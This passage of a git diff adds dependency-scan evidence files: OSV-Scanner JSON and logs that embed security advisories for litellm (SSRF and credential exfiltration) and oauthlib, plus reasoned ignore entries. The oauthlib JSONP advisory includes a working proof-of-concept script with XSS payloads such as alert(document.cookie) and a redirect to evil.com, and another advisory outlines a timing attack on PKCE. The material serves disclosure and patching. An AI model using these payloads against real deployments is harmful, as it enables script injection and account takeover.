"1.75.3", + "1.75.4", + "1.75.5.post1", + "1.75.5.post2", + "1.75.6", + "1.75.7", + "1.75.8", + "1.75.9", + "1.76.0", + "1.76.1", + "1.76.2", + "1.76.3", + "1.77.0", + "1.77.1", + "1.77.2.post1", + "1.77.3", + "1.77.4", + "1.77.4.dev1", + "1.77.5", + "1.77.7", + "1.78.0", + "1.78.0rc2", + "1.78.2", + "1.78.3", + "1.78.4", + "1.78.5", + "1.78.6", + "1.78.7", + "1.79.0", + "1.79.0.dev1", + "1.79.0.dev2", + "1.79.0.dev3", + "1.79.1", + "1.79.2", + "1.79.3", + "1.79.3.dev8", + "1.8.1", + "1.80.0", + "1.80.10", + "1.80.11", + "1.80.12", + "1.80.13", + "1.80.15", + "1.80.16", + "1.80.17", + "1.80.5", + "1.80.6", + "1.80.7", + "1.80.8", + "1.80.9", + "1.81.0", + "1.81.1", + "1.81.10", + "1.81.11", + "1.81.12", + "1.81.13", + "1.81.14", + "1.81.15", + "1.81.16", + "1.81.3", + "1.81.4", + "1.81.5", + "1.81.6", + "1.81.7", + "1.81.8", + "1.81.9", + "1.81.9.dev1", + "1.82.0", + "1.82.1", + "1.82.2", + "1.82.3", + "1.82.4", + "1.82.5", + "1.82.6", + "1.83.0", + "1.83.1", + "1.83.10", + "1.83.11", + "1.83.12", + "1.83.13", + "1.83.14", + "1.83.2", + "1.83.3", + "1.83.4", + "1.83.5", + "1.83.6", + "1.83.7", + "1.83.8", + "1.83.9", + "1.84.0", + "1.84.0.dev1", + "1.84.0.dev2", + "1.84.0rc1", + "1.84.1", + "1.84.10", + "1.84.2", + "1.84.3", + "1.84.4", + "1.84.5", + "1.84.6", + "1.84.7", + "1.84.8", + "1.84.9", + "1.85.0", + "1.85.0.dev1", + "1.85.0.dev2", + "1.85.0rc1", + "1.85.0rc2", + "1.85.1", + "1.85.2", + "1.85.3", + "1.85.4", + "1.85.5", + "1.85.6", + "1.85.7", + "1.86.0", + "1.86.0rc1", + "1.86.1", + "1.86.2", + "1.86.3", + "1.86.4", + "1.86.5", + "1.86.6", + "1.86.7", + "1.87.0", + "1.87.0.dev1", + "1.87.0rc1", + "1.87.0rc2", + "1.87.1", + "1.87.2", + "1.87.3", + "1.87.4", + "1.87.5", + "1.88.0", + "1.88.0.dev1", + "1.88.0rc1", + "1.88.0rc2", + "1.88.0rc3", + "1.88.1", + "1.88.2", + "1.88.3", + "1.88.4", + "1.88.5", + "1.9.0", + "1.9.1", + "1.9.2", + "1.9.3", + "1.9.4", + "1.9.5", + "1.9.dev0" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.89.0" + }, + { + "fixed": "1.89.7" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.89.0", + "1.89.1", + "1.89.2", + "1.89.3", + "1.89.4", + "1.89.5", + "1.89.6" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.90.0" + }, + { + "fixed": "1.90.7" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.90.0", + "1.90.1", + "1.90.2", + "1.90.3", + "1.90.4", + "1.90.5", + "1.90.6" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.91.0" + }, + { + "fixed": "1.91.5" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.91.0", + "1.91.1", + "1.91.2", + "1.91.3", + "1.91.4" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.92.0" + }, + { + "fixed": "1.92.2" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.92.0", + "1.92.1" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.93.0" + }, + { + "fixed": "1.93.2" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.93.0", + "1.93.1" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.94.0" + }, + { + "fixed": "1.94.3" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.94.0", + "1.94.1", + "1.94.2" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.95.0" + }, + { + "fixed": "1.95.1" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.95.0" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.96.0" + }, + { + "fixed": "1.96.2" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.96.0" + ] + } + ], + "aliases": [ + "CVE-2026-84377" + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T21:11:25Z", + "nvd_published_at": "2026-09-02T18:21:28Z", + "severity": "MODERATE" + }, + "details": "### Impact\n\nAny authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive parameter and did not inspect parameters nested inside other request fields, so a caller could supply a routing or credential value that the proxy applied without clearing the operator's stored key. Any authenticated user could therefore exfiltrate the operator's upstream provider credentials and other configured secrets, and perform Server-Side Request Forgery against internal services reachable from the proxy.\n\n### Patches\n\nFixed in 1.96.2, 1.95.1, 1.94.3, 1.93.2, 1.92.2, 1.91.5, 1.90.7, 1.89.7, and 1.88.6.\n\n### Workarounds\n\nSet `general_settings.allow_client_side_credentials` to `false` so callers cannot override connection parameters, restrict proxy keys to trusted callers, and block the affected parameters (`api_base`, `base_url`, `model_list`, `fallbacks`, provider credential fields) at a reverse proxy or API gateway.", + "id": "GHSA-3cv6-jpf6-8222", + "modified": "2026-09-30T21:15:08.145507777Z", + "published": "2026-09-30T21:11:25Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-3cv6-jpf6-8222" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84377" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/pull/36011" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/pull/36314" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/pull/36494" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/commit/473f72e63a9777d793fbbf57194d8ec4fb97bc1b" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/commit/820f247a6abba55cd87d130bef7bba7be3b29d37" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/commit/c898d341c02299cf2506d0d8e84cc67953043593" + }, + { + "type": "PACKAGE", + "url": "https://github.com/BerriAI/litellm" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", + "type": "CVSS_V3" + } + ], + "summary": "LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters" + } + ] + }, + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-build-hash-install.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-build-hash-install.stderr.txt new file mode 100644 index 000000000..18edb394b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-build-hash-install.stderr.txt @@ -0,0 +1,6 @@ +Using Python 3.13.15 environment at: /venv +Resolved 3 packages in 80ms +Installed 3 packages in 50ms + + packaging==26.3 + + setuptools==84.0.0 + + wheel==0.46.3 diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stderr.txt new file mode 100644 index 000000000..e6bd008f2 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stderr.txt @@ -0,0 +1,9 @@ +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 20.466251ms elapsed, 20.466321ms wall time +GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +Filtered 2 vulnerabilities from output +/ci-config.toml has unused ignores: + - GHSA-8mgp-746c-j5xp + - GHSA-h35f-9h28-mq5c diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stdout.txt new file mode 100644 index 000000000..939d28473 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stdout.txt @@ -0,0 +1,9 @@ +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stderr.txt new file mode 100644 index 000000000..e2f3fd664 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stderr.txt @@ -0,0 +1,3 @@ +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 18.889695ms elapsed, 18.889765ms wall time diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stdout.txt new file mode 100644 index 000000000..999118a89 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stdout.txt @@ -0,0 +1,234 @@ +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": 